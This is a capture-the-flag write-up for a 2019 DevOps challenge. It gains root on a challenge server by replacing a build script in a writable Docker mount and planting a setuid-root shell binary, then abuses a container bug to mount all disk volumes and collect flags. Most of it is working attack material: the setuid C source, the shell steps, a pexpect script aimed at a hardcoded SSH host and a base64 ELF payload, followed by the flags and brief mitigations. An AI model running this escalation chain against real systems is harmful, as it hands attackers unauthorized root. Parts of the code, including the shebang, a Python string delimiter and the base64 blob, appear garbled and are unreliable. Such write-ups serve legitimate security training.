5224 Nexantic DevOps Challenge

localo

May 2, 2019

Contents

1 Explanation (Quick and Dirty)

We are provided with a ssh connection to a server in a network. There is just one interesting file in our home directory. (build.sh) This executes the script /work/run.sh in a docker container which 'mounts' /opt/build-input to /work.
The directory /opt/build-input is owned by our user, therefore we can just move the run.sh script and replace it by our own.

run.sh

```
#!bin/bash
bash
```

This allows us to spawn a shell in the docker container by executing 'build.sh'. We are now root in that container and can write a simple suid program to /work. I compiled it on my machine and copied it over to the remote machine.

rootme.c

```
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
void main()
{
  setuid(0);
  const char* cmd = "/bin/bash";
  system(cmd);
}
```

commands

```
on my machine:
gcc -o rootme rootme.c
base64 rootme | clip.exe #this copies the output to the clipboard
on the remote machine:
cat <<":q">>/work/out
#now paste the clipboard
:q
```

```
#the file /work/out contains our base64 encoded binary
base64 -d /work/out > /work/rootme #decodes the file
chown root /work/rootme
chmod +s+x /work/rootme #to set the suid bit and make it executable
exit #stop the docker
/opt/build-input/rootme
#and we are root
cat /flag #to get the flag
```

As soon as we are root we can read the flag.

2 One Bug to rule them all

Disclaimer: This is not the intended solution and I will try to solve it by the intended one if I have some spare time just for fun.
And after that we can get all other flags due to a bug in the kata-containers, which allowed to mount all lvm-volumes. `https://github.com/kata-containers/runtime/issues/1568`

commands

```
mount /dev/dm-1 /mnt
grep -r "STAGE2_" /mnt
grep -r "FINAL_" /mnt
umount /mnt
mount /dev/dm-2 /mnt
grep -r "STAGE2_" /mnt
grep -r "FINAL_" /mnt
umount /mnt
mount /dev/dm-3 /mnt
grep -r "STAGE2_" /mnt
grep -r "FINAL_" /mnt
umount /mnt
...
```

And we should get all flags...

3 Code

Here is a python script ehich automates the first stage.

stage1.py

```
import pexpect
k = "ssh 00000000d73ca17577d58485@broker.cscg19.nexantic.net"
c = pexpect.spawn(k)
c.expect('.*$.*',timeout=None)
print("JO")
c.sendline('mv /opt/build-input/run.sh /opt/build-input/run.sh.bak')
c.expect('.*$.*',timeout=None)
def write(content, to,d):
    c.sendline('cat <<":q" >> %s'%to)
    for j in content.splitlines():
        c.expect('>',timeout=None)
        c.sendline(j)
    c.sendline(":q")
    c.expect('.*%s.*'%(d),timeout=None)
script='''#!/bin/bash
bash'''
write(script,'/opt/build-input/run.sh','$')
c.sendline("chmod +x /opt/build-input/run.sh")
c.expect('.*#.*',timeout=None)
c.sendline("./build.sh")
c.expect('.*#.*',timeout=None)

,,,
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
void main()
{
```

```
  setuid(0);
  const char* cmd = "/bin/bash";
  system(cmd);
}
'''

payload = '''f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAA0AUAAAAAAABAAAAAAAAAADgaAAAAAAAAAAAAAEAAOAAJ
AEAAHwAeAAYAAAAFAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAA+AEAAAAAAAD4AQAAAAAAAAgA
AAAAAAAAAwAAAAQAAAA4AgAAAAAAADgCAAAAAAAAOAIAAAAAAAAcAAAAAAAAABwAAAAAAAAAAQAA
AAAAAAABAAAABQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwJAAAAAAAADAkAAAAAAAAAAACAA
AAAAAAEAAAAGAAAA2A0AAAAAAADYDSAAAAAAANgNIAAAAAAAYAIAAAAAAABoAgAAAAAAAAAAIAAA
AAAAAgAAAAYAAADwDQAAAAAAAPANIAAAAAAA8A0gAAAAAADgAQAAAAAAAOABAAAAAAAACAAAAAAA
AAAEAAAABAAAAFQCAAAAAAAAVAIAAAAAAABUAgAAAAAAAEQAAAAAAAAARAAAAAAAAAAEAAAAAAAA
AFDldGQEAAAAwAcAAAAAAADABwAAAAAAAMAHAAAAAAAAPAAAAAAAAAA8AAAAAAAAAAQAAAAAAAAA
UeV0ZAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAABS
5XRkBAAAANgNAAAAAAAA2A0gAAAAAADYDSAAAAAAACgCAAAAAAAAKAIAAAAAAAABAAAAAAAAAAC9s
aWI2NC9sZC1saW51eC14ODYtNjQuc28uMgAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAAGAAAAIAAA
AAQAAAAUAAAAAwAAAEdOVQDl/TyDAurYpzAOPNGWnKvNGPd4YQEAAAABAAAAAQAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOgAAACAAAAAAAAAAAAAAAAAAAAAAAA
AAAAEgAAABIAAAAAAAAAAAAAAAAAAAAAAAAAKAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAVgAAACAA
AAAAAAAAAAAAAAAAAAAAAAAAZQAAACAAAAAAAAAAAAAAAAAAAAAAAAAAeQAAACAAAAAAAAAAAAAA
AAAAAAAAAAAACwAAABIAAAAAAAAAAAAAAAAAAAAAAAAAGQAAACIAAAAAAAAAAAAAAAAAAAAAAAAA
AGxpYmMuc28uNgBzZXR1aWQAc3lzdGVtAF9fY3hhX2ZpbmFsaXplAF9fbGliY19zdGFydF9tYWlu
AF9JVE1fZGVyZWdpc3RlclRNQ2xvbmVUYWJsZQBfX2dtb25fc3RhcnRfXwBfSnZfUmVnaXN0ZXJD
bGFzc2VzAF9JVE1fcmVnaXN0ZXJUTUNsb25lVGFibGUAR0xJQkNfMi4yLjUAAAAAAAAACAAIAAAAA
AAAAAgACAAAAAAAAAAAAEAAQABAAAAEAAAAAAAAAAB1GmkJAAACAJMAAAAAAAAAAA2A0gAAAAAAAAIAAAA
AAAAANAGAAAAAAAAAA4A0gAAAAAAAAIAAAAAAAAAAJAGAAAAAAAAAAMBAgAAAAAAAAIAAAAAAAAAAADAQIAAA
AAAA0A8gAAAAAAAGAAAAAQAAAAAAAAAAAAAAA2A8gAAAAAAAGAAAAAwAAAAAAAAAAAAAAA4A8gAAAA
AAAGAAAABAAAAAAAAAAAAAAAAA6A8gAAAAAAAGAAAABQAAAAAAAAAAAAAAA8A8gAAAAAAAGAAAABgAA
AAAAAAAAAAAA+A8gAAAAAAAGAAAACAAAAAAAAAAAAAAAGBAgAAAAAAAHAAAAAgAAAAAAAAAAAAAA
IBAgAAAAAAAHAAAABwAAAAAAAAAAAAAASIPsCEiLBWUKIABIhcB0Av/QSIPECMMAAAAAAAAAAAAD/
NXIKIAD/JXQKIAAPH0AA/yVyCiAAaAAAAADp4P////8lagogAGgBAAAA6dD/////JTIKIABmkAAA
AAAAAAAAMe1JidFeSIniSIPk8FBUTI0FugEAAEiNDUMBAABIjT0MAQAA/xXeCSAA9A8fRAAASI09
MQogAEiNBTEKIABVSCn4SInlSIP4DnYVSIsFrgkgAEiFwHQJXf/gZg8fRAAAXcMPH0AAZi4PH4QA
AAAAAEiNPfEJIABIjTXqCSAAVUgp/kiJ5UjB/gNIifBIweg/SAHGSNH+dBhIiwWBCSAASIXAdAxd
/+BmDx+EAAAAAABdww8fQABmLg8fhAAAAAAAgD2hCSAAAHUnSIM9VwkgAABVSInldAxIiz2CCSAA
6A3////oSP///13GBXgJIAAB88MPH0AAZi4PH4QAAAAAAEiNPREHIABIgz8AdQvpXv///2YPH0QA
AEiLBfkIIABIhcB06VVIieX/0F3pQP///1VIieVIg+wQvwAAAADonv7//0iNBZsAAABIiUX4SItF
+EiJx+h3/v//kMnDDx9AAEFXQVZBif9BVUFUTI0llgYgAFVIjS2WBiAAU0mJ9kmJ1Uwp5UiD7AhI
wf0D6A/+//9Ihe10IDHbDx+EAAAAAABMiepMifZEif9B/xTcSIPDAUg53XXqSIPECFtdQVxBXUFe
QV/DkGYuDx+EAAAAAADzwwAASIPsCEiDxAjDAAAAAQACAC9iaW4vYmFzaAAAAAEbAzs8AAAABgAA
AND9//+IAAAAP7//7AAAAAQ/v//WAAAAED////IAAAAcP///+gAAADg////MAEAAAAAAAAAAAUAAA
AAAAAAF6UgABeBABGwwHCJABBxAUAAAAHAAAALD9//8rAAAAAAAAAAAAAAAAUAAAAAAAAAAF6UgAB
eBABGwwHCJABAAAkAAAAHAAAAED9//8wAAAAAA4QRg4YSg8LdwiAAD8aOyozJCIAAAAAFAAAAEQA
AABI/f//CAAAAAAAAAAAAAAAHAAAAFwAAABw/v//LAAAAABBDhCGAkMNBmcMBwgAAABEAAAAfAAA
AID+//9lAAAAAEIOEI8CQg4YjgNFDiCNBEIOKIwFSA4whgZIDjiDB00OQHIOOEEOMEEOKEIOIEIO
GEIOEEIOCAAUAAAAxAAAAKj+//8CAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAANAGAAAAAAAAkAYAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAAMAAAAAAAA
AHAFAAAAAAAADQAAAAAAAAACkBwAAAAAAABkAAAAAAAAAAA2A0gAAAAAAAbAAAAAAAAAAgAAAAAAAAA
GgAAAAAAAAADgDSAAAAAAABwAAAAAAAAAAACAAAAAAAAAAD1/v9vAAAAAJgCAAAAAAAABQAAAAAAAAACQ
AwAAAAAAAAYAAAAAAAAAAuAIAAAAAAAAKAAAAAAAAAAJ8AAAAAAAAAAACwAAAAAAAAAAAYAAAAAAAAAAABUA
AAAAAAAAAAAAAAAAAAADAAAAAAAAAAAAAQIAAAAAAAAAgAAAAAAAAAAAwAAAAAAAAAAABQAAAAAAAAAAABwAA
```

```
AAAAAAAXAAAAAAAAAAEAFAAAAAAAAABwAAAAAAAAABoBAAAAAAAAAAgAAAAAAAAA2AAAAAAAAAAJAAAA
AAAAABgAAAAAAAAA+///bwAAAAAAAAAIAAAAAP7//28AAAAASAQAAAAAAAD///9vAAAAAAEAAAAA
AAAA8P//bwAAAAAwBAAAAAAAAAPn//28AAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPANIAAAAAAAA
AAAAAAAAAAAAAAAAAAAAKYFAAAAAAAAAtgUAAAAAAAAAAAAAAAAAAAAAADAQIAAAAAAAAR0NDOiAoRGVi
aWFuIDYuMy4wLTE4K2RlYjl1MSkgNi4zLjAgMjAxNzA1MTYAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAMAAQA4AgAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAgBUAgAAAAAAAAAAAAAAAAAAAAA
AAMAAwBOAgAAAAAAAAAAAAAAAAAAAAAAAAAMABACYAgAAAAAAAAAAAAAAAAAAAAAAAAAAMABQC4AgAA
AAAAAAAAAAAAAAAAAAAAAAAMABgCQAwAAAAAAAAAAAAAAAAAAAAAAAAAAMABwAwBAAAAAAAAAAAAAAAA
AAAAAAAAAAAMACABIBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMACQBoBAAAAAAAAAAAAAAAAAAAAAAAAAAAMA
CgBABQAAAAAAAAAAAAAAAAAAAAAAAAAAAMACwBwBQAAAAAAAAAAAAAAAAAAAAAAAAAAMADACQBQAAAAAA
AAAAAAAAAAAAAAAAAAMADQDABQAAAAAAAAAAAAAAAAAAAAAAAAAAMADgDQBQAAAAAAAAAAAAAAAAAAA
AAAAAAMADwCkBwAAAAAAAAAAAAAAAAAAAAAAAAAAMAEACwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAMAEQDA
BwAAAAAAAAAAAAAAAAAAAAAAAAAAMAEgAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAEwDYDSAAAAAAAAAAA
AAAAAAAAAAAAAAAMAFADgDSAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAFQDoDSAAAAAAAAAAAAAAAAAAAAAAA
AAMAFgDwDSAAAAAAAAAAAAAAAAAAAAAAAAAAMAFwDQDyAAAAAAAAAAAAAAAAAAAAAAAAAAMAGAAAECAA
AAAAAAAAAAAAAAAAAAAAAAAMAGQAoECAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAGgA4ECAAAAAAAAAAAAAAA
AAAAAAAAAAMAGwAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAAAAADAAAAAEA
FQDoDSAAAAAAAAAAAAAAAAAAAGQAAAAIADgAABgAAAAAAAAAAAAAAAAAAAAGwAAAAIADgBABgAAAAAA
AAAAAAAAAAAAALgAAAAIADgCQBgAAAAAAAAAAAAAAAAAAAAARAAAAAEAGgA4ECAAAAAAAAAEAAAAAAAAA
UwAAAAEAFADgDSAAAAAAAAAAAAAAAAAAAegAAAAIADgDQBgAAAAAAAAAAAAAAAAAAAAAhgAAAAEAEwDY
DSAAAAAAAAAAAAAAAAAApQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAA
AAAAAAAArAAAAAEAEgAICQAAAAAAAAAAAAAAAAAAAAugAAAAEAFQDoDSAAAAAAAAAAAAAAAAAAAAAAA
AAQA8f8AAAAAAAAAAAAAAAAAAAAAAAxgAAAAAAEwDgDSAAAAAAAAAAAAAAAAAAAA1wAAAAEAFgDwDSAA
AAAAAAAAAAAAAAAAAA4AAAAAAAEwDYDSAAAAAAAAAAAAAAAAAAAA8wAAAAAAEQDABwAAAAAAAAAAAAAAAA
AAAABgEAAAEAGAAAECAAAAAAAAAAAAAAAAAAAAAHAEAABIADgCgBwAAAAAAAAAIAAAAAAAAAAAALAEAACAA
AAAAAAAAAAAAAAAAAAAAAAAAAAhAEAACAAGQAoECAAAAAAAAAAAAAAAAAAAAAASAEAABAAGQA4ECAAAAAA
AAAAAAAAAAAAAJgEAABIADwCkBwAAAAAAAAAAAAAAAAAAAATwEAABIAAAAAAAAAAAAAAAAAAAAAAAAAAA
YwEAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAggEAABAAGQAoECAAAAAAAAAAAAAAAAAAAAAjwEAACAAAAAAA
AAAAAAAAAAAAAAAAAAAAngEAABECGQAwECAAAAAAAAAAAAAAAAAAAAAqwEAABEAEACwBwAAAAAAAAAAAQA
AAAAAAAAugEAABIADgAwBwAAAAAAAAGUAAAAAAAAAAOgAAABAAGgBAECAAAAAAAAAAAAAAAAAAAAAAiAEA
ABIADgDQBQAAAAAAAACsAAAAAAAAAAygEAABAAGgA4ECAAAAAAAAAAAAAAAAAAAAAAA1gEAABIADgAABwAA
AAAAACwAAAAAAAAAAA2wEAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA7wEAABECGQA4ECAAAAAAAAAAAAAA
AAAA+wEAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFQIAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAKQIAACIA
AAAAAAAAAAAAAAAAAAAAAAAAxAEAABIACwBwBQAAAAAAAAAAAAAAAAAAAAAAAAGNydHN0dWZmLmMAX19K
Q1JfTElTVF9fAGRlcmVnaXN0ZXJfdG1fY2xvbmVzAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eABjb21w
bGV0ZWQuNjk3MgBfX2RvX2dsb2JhbF9kdG9yc19hdXhfZmluaV9hcnJheV9lbnRyeQBmcmFtZV9k
dW1teQBfX2ZyYW1lX2R1bW15X2luaXRfYXJyYXlfZW50cnkAdGVzdC5jAF9fRlJBTUVfRU5EX18A
X19KQ1JfRU5EX18AX19pbml0X2FycmF5X2VuZABfRFlOQU1JQwBfX2luaXRfYXJyYXlfc3RhcnQA
X19HTlVfRUhfRlJBTUVfSERSAF9HTE9CQUxfT0ZGU0VUX1RBQkxFXwBfX2xpYmNfY3N1X2ZpbmkA
X0lUTV9kZXJlZ2lzdGVyVE1DbG9uZVRhYmxlAF9lZGF0YQBzeXN0ZW1AQEdMSUJDXzIuMi41AF9f
bGliY19zdGFydF9tYWluQEBHTElCQ18yLjIuNQBfX2RhdGFfc3RhcnQAX19nbW9uX3N0YXJ0X18A
X19kc29faGFuZGxlAF9JT19zdGRpbl91c2VkAF9fbGliY19jc3VfaW5pdABfX2Jzc19zdGFydABt
YWluAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19UTUNfRU5EX18AX0lUTV9yZWdpc3RlclRNQ2xvbmVU
YWJsZQBzZXR1aWRAQEdMSUJDXzIuMi41AF9fY3hhX2ZpbmFsaXplQEBHTElCQ18yLjIuNQAALnN5
bXRhYgAuc3RydGFiAC5zaHN0cnRhYgAuaW50ZXJwAC5ub3RlLkFCSS10YWcALm5vdGUuZ251LmJ1
aWxkLWlkAC5nbnUuaGFzaAAuZHluc3ltAC5keW5zdHIALmdudS52ZXJzaW9uAC5nbnUudmVyc2lv
bl9yAC5yZWxhLmR5bgAucmVsYS5wbHQALmluaXQALnBsdC5nb3QALnRleHQALmZpbmkALnJvZGF0
YQAuZWhfZnJhbWVfaGRyAC5laF9mcmFtZQAuaW5pdF9hcnJheQAuZmluaV9hcnJheQAuamNyAC5k
eW5hbWljAC5nb3QucGx0AC5kYXRhAC5ic3MALmNvbW1lbnQAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbAAAAAQAA
AAIAAAAAAAAAOAIAAAAAAAA4AgAAAAAAABwAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAA
IwAAAAcAAAACAAAAAAAAAAFQCAAAAAAAAVAIAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAA
AAAAAAAAADEAAAAHAAAAAgAAAAAAAAB0AgAAAAAAAHQCAAAAAAAAJAAAAAAAAAAAAAAAAAAAAAAAAAQA
AAAAAAAAAAAAAAAAAAAABEAAAA9v//bwIAAAAAAAAAmAIAAAAAAACYAgAAAAAAABwAAAAAAAAAAABQAA
AAAAAAIAAAAAAAAAAAAAAAAAAAAAATgAAAAsAAAACAAAAAAAAAALgCAAAAAAAAuAIAAAAAAAAADYAAAA
AAAAAYAAAABAAAACAAAAAAAAAAAYAAAAAAAAAAFYAAAADAAAAAgAAAAAAAAACQAwAAAAAAAAJADAAAA
AAAAnwAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAABeAAAA////bwIAAAAAAAAAMAQAAAAA
AAAwBAAAAAAAAAAABIAAAAAAAAAAABQAAAAAAAAAAAACAAAAAAAAAAAAAIAAAAAAAAAAawAAAP7//28CAAAAAAA
AEgEAAAAAAAAASAQAAAAAAAAAgAAAAAAAAAAAYAAAABAAAACAAAAAAAAAAAAAAAAAAAAAAAHoAAAAEAAAA
AgAAAAAAAAABoBAAAAAAAAAAGgEAAAAAAAAA2AAAAAAAAAAAFAAAAAAAAAAAAgAAAAAAAAAAGAAAAAAAAAACE
AAAABAAAAEIAAAAAAAAAAQAUAAAAAAAABABQAAAAAAADAAAAAAAAAAAABQAAABgAAAAIAAAAAAAAAAABgA
AAAAAAAAjgAAAAEAAAAGAAAAAAAAAAAHAFAAAAAAAAAcAUAAAAAAAAAXAAAAAAAAAAAAAAAAAAAAAAAABAAA
AAAAAAAAAAAAAAAAAAIkAAAABAAAABgAAAAAAACQBQAAAAAAAJAFAAAAAAAAAMAAAAAAAAAAAAAAAAAAAA
AAAAABAAAAAAAAAAAAEAAAAAAAAAACUAAAAAQAAAAYAAAAAAAAAAwAUAAAAAADABQAAAAAAAAAgAAAAA
AAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAnQAAAAEAAAAGAAAAAAAAAAANAFAAAAAAAAAAAOAUAAAAA
AADSAQAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAKMAAAABAAAABgAAAAAAAACkBwAAAAAA
AKQHAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAACpAAAAAQAAAAIAAAAAAAA
sAcAAAAAAAACwBwAAAAAAAAA4AAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAsQAAAAEAAAAC
AAAAAAAAAMAHAAAAAAAAAwAcAAAAAAAAA8AAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAL8A
AAABAAAAAgAAAAAAAAAACAAAAAAAAAAAIAAAAAAAAADAEAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAA
AAAAAADJAAAADgAAAAMAAAAAAAAAA2A0gAAAAAADYDQAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAIAAAA
```

```
AAAAAAgAAAAAAAAA1QAAAA8AAAADAAAAAAAAAOANIAAAAAAA4AOAAAAAAAIAAAAAAAAAAAAAAA
AAAACAAAAAAAAAIAAAAAAAAAOEAAAABAAAAAwAAAAAAADoDSAAAAAAAOgNAAAAAAACAAAAAAA
AAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAADmAAAABgAAAAMAAAAAAAAA8AOgAAAAADwDQAAAAAA
AOABAAAAAAAABgAAAAAAAAIAAAAAAAAABAAAAAAAAAAmAAAAAEAAAADAAAAAAAAANAPIAAAAAA
0A8AAAAAAAwAAAAAAAAAAAAAAAAAAACAAAAAAAAAIAAAAAAAAO8AAAABAAAAAwAAAAAAAA
ECAAAAAAAAQAAAAAAAKAAAAAAAAAAAAAAAAAAAgAAAAAAACAAAAAAAAD4AAAAQAAAAMA
AAAAAAAKBAgAAAAAAoEAAAAAAABAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAA/gAA
AAgAAADAAAAAAAADgQIAAAAAAOBAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAA
AAAAAMBAAABAAAAMAAAAAAAAAAAAAAAAAADgQAAAAAAALQAAAAAAAAAAAAAAAAAAAEAAAAA
AAAAQAAAAAAAABAAAAAgAAAAAAAAAAAAAAAAAAAABoEAAAAAAAHgGAAAAAAAHQAAAC8A
AAAIAAAAAAAABgAAAAAAAACQAAAAMAAAAAAAAAAAAAAAAAAAAAAA4BYAAAAAABFAgAAAAA
AAAAAAAAAAAAQAAAAAAAAAAAAAAAAAABEAAAADAAAAAAAAAAAAAAAAAAAAACUZAAAAAAA
DAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAA=
'''
write(payload,'/work/tmp','#')
c.sendline('base64 -d /work/tmp > /work/rootme')
c.expect('.*#.*',timeout=None)
c.sendline('rm -rf /work/tmp')
c.expect('.*#.*',timeout=None)
c.sendline('chown root /work/rootme')
c.expect('.*#.*',timeout=None)
c.sendline('chmod +s+x /work/rootme')
c.expect('.*#.*',timeout=None)
c.sendline('exit')
c.expect('.*$.*',timeout=None)
c.sendline('/opt/build-input/rootme')
c.interact()
```

4 Flags

STAGE1_ahpeeHahy7aingea8ahr6
STAGE2_Aicoh1eHinitei5ol6cee8oo
FINAL_sahl0ieZ6oojai2sho5oo

5 Mitigation

The first problem can be fixed by setting the owner of /opt/build-input to root.
AND mounting the directory as readonly.

The second problem (which was an unintended bug as mentioned by the challenge author) can be fixed by not attaching all host-devices to the vm. The challenge VM is already fixed.